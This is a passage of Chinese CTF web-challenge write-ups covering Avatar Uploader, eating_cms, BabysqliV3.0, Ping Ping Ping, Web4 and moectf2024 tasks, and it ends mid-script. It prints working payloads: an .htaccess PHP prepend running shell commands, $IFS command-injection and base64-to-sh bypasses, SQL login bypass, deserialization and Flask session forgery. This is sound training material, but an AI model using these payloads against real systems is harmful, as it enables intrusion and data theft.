?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('ls%20/')%3B%3F%3E%5C

获得flag,虽然它过滤了flag,但我们可以用fl??来代替flag,或者用字符串连接,例如’cat%20/fla’.’g’
cat flag

1
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fl??')%3B%3F%3E%5C

[HarekazeCTF2019]Avatar Uploader


先登录,用户名大于等于4个字符就好了,随便起个名

上传文件
它给了上传png的条件
先看GIF89a能不能绕过
并不能
hint要求是png格式
改下16进制文件头看是否能绕过
只改第一行就好了

上传后竟然直接给了flag

先看看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
error_reporting(0);

require_once('config.php');
require_once('lib/util.php');
require_once('lib/session.php');

$session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY);

// check whether file is uploaded
if (!file_exists($_FILES['file']['tmp_name']) || !is_uploaded_file($_FILES['file']['tmp_name'])) {
error('No file was uploaded.');
}

// check file size
if ($_FILES['file']['size'] > 256000) {
error('Uploaded file is too large.');
}

// check file type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($type, ['image/png'])) {
error('Uploaded file is not PNG format.');
}

// check file width/height
$size = getimagesize($_FILES['file']['tmp_name']);
if ($size[0] > 256 || $size[1] > 256) {
error('Uploaded image is too large.');
}
if ($size[2] !== IMAGETYPE_PNG) {
// I hope this never happens...
error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
}

// ok
$filename = bin2hex(random_bytes(4)) . '.png';
move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_DIR . '/' . $filename);

$session->set('avatar', $filename);
flash('info', 'Your avatar has been successfully updated!');
redirect('/');

在检查文件类型时,finfo_file()函数检测上传图片的类型是否是image/png
在检查文件长宽时,getimagesize() 函数用于获取图像大小及相关信息,成功将返回一个数组,但其后面还有:
对于getimagesize() 函数返回的数组:

1
2
3
4
5
6
7
8
9
Array
(
[0] => 290
[1] => 69
[2] => 3
[3] => width="290" height="69"
[bits] => 8
[mime] => image/png
)

结果解释:

  • 索引 0 给出的是图像宽度的像素值
  • 索引 1 给出的是图像高度的像素值
  • 索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
  • 索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 标签
  • 索引 bits 给出的是图像的每种颜色的位数,二进制格式
  • 索引 channels 给出的是图像的通道值,RGB 图像默认是 3
  • 索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如:header(“Content-type: image/jpeg”);

先看这个

1
2
3
if ($size[0] > 256 || $size[1] > 256) {
error('Uploaded image is too large.');
}

我们在创建文件时并没有构造像素值,所以未报错

1
2
3
4
if ($size[2] !== IMAGETYPE_PNG) {
// I hope this never happens...
error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');

索引2返回的是数字不是PNG,将输出part 1的flag
这也就说的通了

为了获取到flag,我们需要绕过函数finfo_file()或函数getimagesize() 的验证
函数finfo_file()其主要是识别PNG文件十六进制下的第一行信息,若保留文件头信息,破坏掉文件长宽等其余信息,也就可以绕过getimagesize() 函数的检验

[N1CTF 2018]eating_cms


这个界面可以先考虑一下sql注入和弱密码爆破

能看到sql注入的语句,这里有防火墙,不好注
发现register.php
先注册一个登录再说

疑似文件包含,伪协议读一下源码

guest.php

1
2
3
4
5
6
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly ");
}
include "templates/guest.html";
?>

user.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
Header("Location: index.php");

}
if($_SESSION['isadmin'] === '1'){
$oper_you_can_do = $OPERATE_admin;
}else{
$oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
if(!isset($_GET['page']) || $_GET['page'] === ''){
$page = 'info';
}else {
$page = $_GET['page'];
}
}
else{
if(!isset($_GET['page'])|| $_GET['page'] === ''){
$page = 'guest';
}else {
$page = $_GET['page'];
if($page === 'info')
{
// echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");
Header("Location: user.php?page=guest");
}
}
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
// $page = 'info';
//}
include "$page.php";
?>

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
<?php
session_start();
require_once "config.php";
function Hacker()
{
Header("Location: hacker.php");
die();
}


function filter_directory()
{
$keywords = ["flag","manage","ffffllllaaaaggg"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}

function filter_directory_guest()
{
$keywords = ["flag","manage","ffffllllaaaaggg","info"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}

function Filter($string)
{
global $mysqli;
$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
for ($i = 0; $i < strlen($string); $i++) {
if (strpos("$whitelist", $string[$i]) === false) {
Hacker();
}
}
if (preg_match("/$blacklist/is", $string)) {
Hacker();
}
if (is_string($string)) {
return $mysqli->real_escape_string($string);
} else {
return "";
}
}

function sql_query($sql_query)
{
global $mysqli;
$res = $mysqli->query($sql_query);
return $res;
}

function login($user, $pass)
{
$user = Filter($user);
$pass = md5($pass);
$sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
echo $sql;
$res = sql_query($sql);
// var_dump($res);
// die();
if ($res->num_rows) {
$data = $res->fetch_array();
$_SESSION['user'] = $data[username_which_you_do_not_know];
$_SESSION['login'] = 1;
$_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
return true;
} else {
return false;
}
return;
}

function updateadmin($level,$user)
{
$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
echo $sql;
$res = sql_query($sql);
// var_dump($res);
// die();
// die($res);
if ($res == 1) {
return true;
} else {
return false;
}
return;
}

function register($user, $pass)
{
global $mysqli;
$user = Filter($user);
$pass = md5($pass);
$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
$res = sql_query($sql);
return $mysqli->insert_id;
}

function logout()
{
session_destroy();
Header("Location: index.php");
}

?>

其中主要的源码就是user.php和function.php
在function.php里发现

1
2
3
$keywords = ["flag","manage","ffffllllaaaaggg"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);

无法直接读到flag文件,这里用parse_url解析漏洞绕过。
parse_url:
本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。 本函数不是用来验证给定 URL 的合法性的,只是将其分解为下面列出的部分。不完整的 URL 也被接受,parse_url() 会尝试尽量正确地将其解析。
本地测试

1
2
3
4
5
6
7
8
<?php

$url = 'http://127.0.0.1/user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg';
var_dump(parse_url($url));



array(4) { ["scheme"]=> string(4) "http" ["host"]=> string(9) "127.0.0.1" ["path"]=> string(9) "/user.php" ["query"]=> string(57) "page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg" }

再看看$_SERVER['REQUEST_URI']的返回值。

1
2
3
4
5
6
<?php

$url = 'http://127.0.0.1/user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg';
echo $_SERVER['REQUEST_URI'];

/user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

题目源码的意思是对$_SERVER[‘REQUEST_URI’]进行parse_url解析。

用伪协议直接读ffffllllaaaaggg会被检测到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$keywords = ["flag","manage","ffffllllaaaaggg","info"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}

有一个办法是使parse_url解析出错,从而无法进入下面的foreach判断。
只要在user.php前面加上三个/

ffffllllaaaaggg

1
2
3
4
5
6
7
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}else {
echo "you can find sth in m4aaannngggeee";
}
?>

在读m4aaannngggeee

1
2
3
4
5
6
7
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}
include "templates/upload.html";

?>

去这个链接看看

有个上传按钮,但貌似并不能上传
源码找到一个php文件,读一下这个

upllloadddd.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
}
?>

访问m4aaannngggeee页面

这个文件上传倒是能用

我们可以利用这个

1
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");

filename是文件名,所以我们上传文件时抓包,文件名做个文章

不知道为什么用不了/,也没看到过滤啊
用cd替代


在本地测试一下,没有任何问题
分号闭合,#注释后面的语句

[RootersCTF2019]babyWeb


先输入一个1

单引号闭合下
页面空白,看来是过滤了
通过反斜杠报错发现确实是单引号闭合
这里要上万能密码
经过试错可知or被禁用了,用||代替,limit0,1,返回一行数据

1
1||1=1 limit 0,1

获得flag,看来是登录就给flag

[GXYCTF2019]BabysqliV3.0


题目给的是sql类型,但我们要有自己的想法,像这样的登录窗口,还可能有弱密码
本题可以挨个爆uname=admin,passwd=password
传了几个文件,没有对后缀进行过滤,但是上传过后都变为了.txt文件
看看url

1
home.php?file=upload

这里的格式感觉有文件包含
伪协议测一下

1
home.php?file=php://filter/convert.base64-encode/resource=upload

成功利用,得到了upload.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<form action="" method="post" enctype="multipart/form-data">
上传文件
<input type="file" name="file" />
<input type="submit" name="submit" value="上传" />
</form>

<?php
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;


function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}

$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}

function upload($file){
global $sandbox;
global $ext;

if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}

function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}

function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}

if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}

?>

看到了eval,但我不知道怎么才能利用到他,但是还有一种方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}

$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}


if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}

这也解释了我们为什么总是txt结尾了,我们这次提交的时候加上参数name=b.php

这里还以为把一句话木马写到这个页面了,试了好久没注出来

确实是在这个页面上啊。。。。
回来看我们的b.php已经创建了
执行RCE

看了下wp,这种方法是非预期解,预期解是phar反序列化
好把,不知道为什么复现不出来
GXYCTF2019BabysqliV3.0-phar反序列化正解

phar反序列化

[SWPUCTF 2021 新生赛]no_wakeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


public $admin;
public $passwd;

public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __wakeup(){
$this->passwd = sha1($this->passwd);
}

public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?>

已知在使用 unserialize() 反序列化时会先调用 __wakeup()函数,

而本题的关键就是如何 绕过 __wakeup()函数,就是 在反序列化的时候不调用它

当 序列化的字符串中的 属性值 个数 大于 属性个数 就会导致反序列化异常,从而绕过 __wakeup()

代码中的__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的
构造序列化代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __wakeup(){
$this->passwd = sha1($this->passwd);
}
}

$a =new HaHaHa();
$a->admin='admin';
$a->passwd='wllm';
echo serialize($a);

运行结果

1
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

序列化返回的字符串格式:

1
O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>} 

O:表示序列化的是对象

  • length:表示序列化的类名称长度
  • class name:表示序列化的类的名称
  • n:表示被序列化的对象的属性个数
  • field name 1:属性名
  • field value 1:属性值
    所以要修改属性值n,既把2改为3以上。
    1
    O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
    最好url编码一下,这样我们就绕过wakeup哩

[GXYCTF 2019]Ping Ping Ping


存在命令执行,用管道符隔开,空格等一些特殊字符被禁用了,但$没有,可替代空格

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
127.0.0.1;cat$IFS$1index.php

<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
print_r($match);
print($ip);
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
}
else if(preg_match("/ /", $ip)){
die("fxck your space!");
}
else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
}
else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}

?>

这里有几种方法可以绕过

1
2
3
4
5
127.0.0.1;tac$IFS`ls`
127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
127.0.0.1;a=ag;b=fl;cat$IFS$b$a.php
如果[]没被禁用也可以
127.0.0.1;a=f;cat$IFS[e-g]lag

[CISCN2019 华东南赛区]Web4


有个链接指向baidu
链接的话首先考虑能不能读文件,先嘟嘟/etc/passwd

试了一下flag不能读
看一看/proc/self/cmdline有什么内容

url参数读一下app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'

@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'

if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)

获得源码
简单看一下,重要的几行代码

1
2
random.seed(uuid.getnode()) #uuid.getnode()是靶机的mac地址
app.config['SECRET_KEY'] = str(random.random()*233)

只要知道了种子值为多少,就能知道密钥是什么
mac地址在/sys/class/net/eth0/address中存储
获得mac地址为76:12:00:da:b0:2f 其本身就是16进制

1
0x761200dab02f

知道了种子,哪个就可以推出密钥了,这里要用python2运行,因为靶机是python2,区别是python2与python3生成的位数不同

1
2
3
4
5
6
import random

random.seed(0x761200dab02f)
print(str(random.random()*233))

->179.873037007

然后再看

1
session['username'] = 'www-data'

主页把username默认为www-data,而

1
2
3
4
5
6
@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'

当username为fuck时会返回flag
看一下我们的session


这个session好像jwt啊,但是不是的

这里username对应的是base64编码后的www-data
我们把这一段截取出来,把fuck填进去

1
{"username":{" b":"fuck"}}

接下来利用flask_session_cookie_manager伪造session

使用这个脚本伪造session

1
python flask_session_cookie_manager3.py encode -s '179.873037007' -t "{'username': b'fuck'}"


/flag下把生成的session替换原来的session

flask session伪造admin身份

moectf2024 -静态网页

hint:无意间发现 Sxrhhh 的个人博客。但是好像是静态博客,应该没什么攻打的必要了。。。

网页确实是静态网页,查看源码也没有有效的信息,但是发现右下角有一个可以交互的人物,抓一下包看有什么资源可以利用,抓包发现页面调用了

进入final1l1l_challenge.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file('final1l1l_challenge.php');
error_reporting(0);
include 'flag.php';

$a = $_GET['a'];
$b = $_POST['b'];
if (isset($a) && isset($b)) {
if (!is_numeric($a) && !is_numeric($b)) {
if ($a == 0 && md5($a) == $b[$a]) {
echo $flag;
} else {
die('noooooooooooo');
}
} else {
die( 'Notice the param type!');
}
} else {
die( 'Where is your param?');
}

了解一下

1
$b[$a]#若$a==0,则返回$b第一个字符或数组第一个的值

payload

1
2
3
4
GET
?a=QNKCDZO
POST
b=0%00

对于$a==0
弱比较下,当一个字符串与数字进行比较时,PHP会尝试将字符串转换为一个数字。如果字符串的第一个字符是一个数字,那么PHP会将其转换为该数字;如果字符串的第一个字符不是数字,那么PHP会将整个字符串转换为0
PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,PHP会当作科学计数法来处理,也就是0的n次方,得到的值比较的时候都相同。

moectf2024 勇闯铜人阵


好久没写脚本了,先拉坨屎山

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import requests
import re

a =requests.session()

url = 'http://127.0.0.1:57542/restart?'
data={
"player":"1",
"direct":'弟子明白'
}

while 1:
b=a.post(url=url,data=data)
tex = re.findall(r'<h1 id="status">\s*(.*?)\s*</h1>', b.text)
# print('text=',b.text)
print(tex)
str1=str(tex)
str1 = str1.replace("'", "").replace("[", "").replace("]", "").replace(" ", "")
print('str1=',str1)
mark = 0
for j in str1:
if j==',':
mark=1 #两个
if 'moectf' in b.text:
print(b.text)
break
if mark ==0:
print('嗨嗨嗨')
if str1=='1':
data["direct"]="北方"
elif str1=='2':
data["direct"] = "东北方"
elif str1 == '3':
data["direct"] = "东方"
elif str1=='4':
data["direct"] = "东南方"
elif str1=='5':
data["direct"] = "南方"
elif str1=='6':
data["direct"] = "西南方"
elif str1 == '7':
data["direct"] = "西方"
elif str1=='8':
data["direct"] = "西北方"
elif mark==1:
mark1 = 0 # 判断逗号
print('嘻嘻嘻')
for k in str1:
print(k)
if k=='1'and mark1==0:
data["direct"] = "北方一个,"
mark1=1
elif k=='1'and mark1==1:
data["direct"] += "北方一个"
elif k=='2'and mark1==0:
data["direct"] = "东北方一个,"
mark1=1
elif k=='2'and mark1==1:
data["direct"] += "东北方一个"
elif k=='3'and mark1==0:
data["direct"] = "东方一个,"
mark1=1
elif k=='3'and mark1==1:
data["direct"] += "东方一个"
elif k=='4'and mark1==0:
data["direct"] = "东南方一个,"
mark1=1
elif k=='4'and mark1==1:
data["direct"] += "东南方一个"
elif k=='5'and mark1==0:
data["direct"] = "南方一个,"
mark1=1
elif k=='5'and mark1==1:
data["direct"] += "南方一个"
elif k=='6'and mark1==0:
data["direct"] = "西南方一个,"
mark1=1
elif k=='6'and mark1==1:
data["direct"] += "西南方一个"
elif k=='7'and mark1==0:
data["direct"] = "西方一个,"
mark1=1
elif k=='7'and mark1==1:
data["direct"] += "西方一个"
elif k=='8'and mark1==0:
data["direct"] = "西北方一个,"
mark1=1
elif k=='8'and mark1==1:
data["direct"] += "西北方一个"



print(f'url={url} data={data}')
url = 'http://127.0.0.1:57542/'


moectf2024 Re: 从零开始的 XDU 教书生活

提示:
使用脚本重复发送请求直到所有人都签上到即可。如果思路受阻或者不知道怎么写脚本,欢迎通过下方锤子询问出题人。
建议先从浏览器简单看下该做什么再去看代码细节,直接看代码很难理清思路。
/v2/apis/sign/refreshQRCode 该接口用于刷新二维码并返回新的二维码的信息。如何组装一个签到链接可参考网页源码。(或者随便拿个签到二维码看一下指向的链接也差不多能搞懂)

你成为了 XDU 的一个教师,现在你的任务是让所有学生签上到(需要从学生账号签上到,而不是通过教师代签)。 注意:

本题约定:所有账号的用户名 == 手机号 == 密码。教师账号用户名:10000。
当浏览器开启签到页面时,二维码每 10 秒刷新一次,使用过期的二维码无法完成签到。(浏览器不开启签到页面时,不会进行自动刷新,可以持续使用有效的二维码,除非手动发送刷新二维码的请求) 当你完成任务后,请结束签到活动。你将会获得 Flag 。 本题的部分前端页面取自超星学习通网页,后端与其无关,仅用作场景还原,请勿对原网站进行任何攻击行为!

先通过10000登录老师账号,看一下有多少人需要我们签的

这么多人,必须要写一个脚本了
先登录学生账号抓包看看

发现我们的账号密码被加密了,而cookie是随机生成的不可预测
再看看附件下载的app.py
这两个函数比较重要,我们的账号密码是AES加密

根据代码写出AES加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

def encrypt_by_aes(plaintext: str, key: str, iv: str) -> str:
key_bytes = key.encode("utf-8")
iv_bytes = iv.encode("utf-8")
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)

# 将明文转为字节并进行填充(填充到块大小的倍数,通常是16字节)
plaintext_bytes = pad(plaintext.encode("utf-8"), AES.block_size)

# 加密
encrypted_bytes = cipher.encrypt(plaintext_bytes)

# 将加密后的字节进行 base64 编码
encrypted = base64.b64encode(encrypted_bytes).decode("utf-8")

return encrypted


def decrypt_by_aes(encrypted: str, key: str, iv: str) -> str:
key_bytes = key.encode("utf-8")
iv_bytes = iv.encode("utf-8")
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)

# 解密前需要将 base64 编码的字符串解码为字节
encrypted_bytes = base64.b64decode(encrypted)

# 解密
decrypted_bytes = cipher.decrypt(encrypted_bytes)

# 去除填充
pad = decrypted_bytes[-1]
decrypted_bytes = decrypted_bytes[:-pad]

# 将字节转换为字符串
decrypted = decrypted_bytes.decode("utf-8")

return decrypted

key = "u2oh6Vu^HWe4_AES"
iv = "u2oh6Vu^HWe4_AES"

# 要加密的明文
plaintext = "9613331"

# 加密
encrypted_text = encrypt_by_aes(plaintext, key, iv)
print(f"Encrypted: {encrypted_text}")
#print(encrypted_text)

# 解密
#decrypted_text = decrypt_by_aes(encrypted_text, key, iv)
#print(f"Decrypted: {decrypted_text}")

与抓包内容对比看是否对应的上

一模一样
接着被导航到/page/sign/signIn

扫描二维码,跳出二维码内容,进入这个网页就能签到了

1
http://127.0.0.1:58882/widget/sign/e?id=4000000000000&c=3232369319357&enc=BAEEA1B833B76CFB2FF25FE93836D711&DB_STRATEGY=PRIMARY_KEY&STRATEGY_PARA=id


这里enc和signCode已经变了,但是我们可以推断出对应的是上面的c和enc值
接下来我们还要把网页上的用户爬下来,这里我是先保存到本地再爬的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from bs4 import BeautifulSoup
import re

# 本地 HTML 文件路径
html_file = "./签到.html" # 替换为你的本地 HTML 文件路径
output_file = "output1.txt" # 保存结果的文件名

# 读取并解析 HTML 文件
with open(html_file, "r", encoding="utf-8") as file:
soup = BeautifulSoup(file, 'html.parser')

# 打开输出文件,以写入模式
with open(output_file, "w", encoding="utf-8") as out_file:
# 查找所有符合条件的 <div> 标签
divs = soup.find_all('div', class_=re.compile(r'item zoomIn \d+'))

# 提取 class 属性中的数字并保存到文件中
for div in divs:
class_attr = div.get('class') # 获取 class 属性
for item in class_attr:
match = re.search(r'\d+', item) # 查找 class 属性中的数字
if match:
out_file.write(match.group() + "\n") # 将数字写入文件并换行

print(f"提取的数字已保存到 {output_file}")

思路:
爬取页面用户的账户–>/v2/apis/sign/refreshQRCode获取enc和signCode值–>把账户AES加密–>访问/fanyalogin页面发送数据包–>获取cookies值–>以cookies内的身份进入二维码内容页面

最终代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import requests
import re
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import time


def encrypt_by_aes(plaintext: str, key: str, iv: str) -> str:
key_bytes = key.encode("utf-8")
iv_bytes = iv.encode("utf-8")
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)

# 将明文转为字节并进行填充(填充到块大小的倍数,通常是16字节)
plaintext_bytes = pad(plaintext.encode("utf-8"), AES.block_size)

# 加密
encrypted_bytes = cipher.encrypt(plaintext_bytes)

# 将加密后的字节进行 base64 编码
encrypted = base64.b64encode(encrypted_bytes).decode("utf-8")

return encrypted

key = "u2oh6Vu^HWe4_AES"
